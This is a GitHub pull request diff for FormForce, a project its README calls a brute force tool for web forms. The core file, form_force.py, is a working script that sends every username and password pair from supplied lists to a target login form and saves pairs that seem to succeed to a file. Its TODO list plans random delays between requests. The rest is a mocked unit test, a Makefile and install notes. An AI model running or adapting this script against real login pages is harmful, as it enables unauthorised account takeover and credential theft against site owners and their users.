Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

updated readme, made some unit test code and added a make test #1

Merged
merged 1 commit into from
Oct 1, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -166,3 +166,6 @@ cython_debug/
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/


.vs
6 changes: 5 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
@@ -1,8 +1,12 @@
install:
apt install pylint python3-requests
apt install pylint
pip install -r requirements.txt

format:
find ./code -iname "*.py" -exec black -q -l 100 {} \;

pylint: format
pylint ./code

test:
python -m unittest discover -s test -p "test_*.py"
24 changes: 23 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,24 @@
# FormForce
Brute force tool for web forms

**A Brute Force Tool for Web Forms**

## Installation

To install FormForce, run:

make install

If you don't have `make` installed on your system and are using Windows PowerShell, you can run the following commands instead:

pip install pylint
pip install -r requirements.txt

## Testing

To run tests, execute:

make test

If you don't have `make` installed on your system and are using Windows PowerShell, run:

python -m unittest discover -s test -p "test_*.py"
109 changes: 109 additions & 0 deletions form_force.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
#! /usr/bin/python3.12
"""
Brute force a web form.


usage: form_force.py [-h] [-u USERNAME] [-p PASSWORD] [-o OUTPUT] [-v] [-uf USERNAME_FIELD] [-pf PASSWORD_FIELD] host page

positional arguments:
host URL or IP address of the host
page Path to the form

options:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
Username or file of usernames
-p PASSWORD, --password PASSWORD
Password or file of passwords
-o OUTPUT, --output OUTPUT
Output file
-v, --verbose Verbose output
-uf USERNAME_FIELD, --username-field USERNAME_FIELD
Username field name
-pf PASSWORD_FIELD, --password-field PASSWORD_FIELD
Password field name


TODO Improvements:
- Threading
- Random time between requests
- pause/resume?
"""
import argparse
import logging
from pathlib import Path
import requests


HEADERS = {}


def brute_force_form(host, page, unames, pwords, out, uname_field, pword_field):
""" """
if not page.startswith("/"):
page = f"/{page}"

dest = f"http://{host}{page}"
logging.info(f"Brute forcing {dest} with {len(unames)} usernames and {len(pwords)} passwords")

cnt = 0
for uname in unames:
uname = uname.strip()
for pword in pwords:
pword = pword.strip()
logging.debug(f"Sending POST request with {uname}:{pword}")

response = requests.post(
dest,
data={uname_field: uname, pword_field: pword},
)

if response.status_code != 200:
logging.error(f"Unexpected status code: {response.status_code}")
exit(1)

if "Invalid" not in response.text:
out.write(f"{uname}:{pword}\n")
logging.debug(f"Valid credentials found: {uname}:{pword}")
cnt += 1
logging.info(f"Attempted {cnt} usernames")


if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Brute force a web form")
parser.add_argument("host", type=str, help="URL or IP address of the host")
parser.add_argument("page", type=str, help="Path to the form")
parser.add_argument("-u", "--username", type=str, help="Username or file of usernames")
parser.add_argument("-p", "--password", type=str, help="Password or file of passwords")
parser.add_argument("-o", "--output", type=str, help="Output file", default="logins.txt")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument(
"-uf", "--username-field", type=str, help="Username field name", default="uid"
)
parser.add_argument(
"-pf", "--password-field", type=str, help="Password field name", default="password"
)
args = parser.parse_args()

if args.verbose:
logging.basicConfig(level=logging.DEBUG)
else:
logging.basicConfig(level=logging.INFO)

if Path(args.username).is_file():
logging.info(f"Using usernames from file {args.username}")
unames = open(args.username, "r").readlines()
else:
unames = [args.username]

if Path(args.password).is_file():
logging.info(f"Using passwords from file {args.password}")
pwords = open(args.password, "r").readlines()
else:
pwords = [args.password]

with open(args.output, "w") as out:
logging.info(f"Writing valid credentials to {args.output}")
brute_force_form(
args.host, args.page, unames, pwords, out, args.username_field, args.password_field
)
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
requests
21 changes: 21 additions & 0 deletions tests/test_form_force.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import unittest
from unittest.mock import patch, mock_open, MagicMock
from form_force import brute_force_form

class TestBruteForceForm(unittest.TestCase):

@patch("form_force.requests.post")
def test_brute_force_valid_credentials(self, mock_post):
# Mock a valid response from the server
mock_post.return_value.status_code = 200
mock_post.return_value.text = "Valid login"

with patch("builtins.open", mock_open()) as mock_file:
brute_force_form("localhost", "/login", ["admin"], ["password123"], mock_file(), "user", "pass")
# Ensure the post request was made correctly
mock_post.assert_called_with("http://localhost/login", data={"user": "admin", "pass": "password123"})
# Ensure valid credentials were written to the file
mock_file().write.assert_called_once_with("admin:password123\n")

if __name__ == "__main__":
unittest.main()
Loading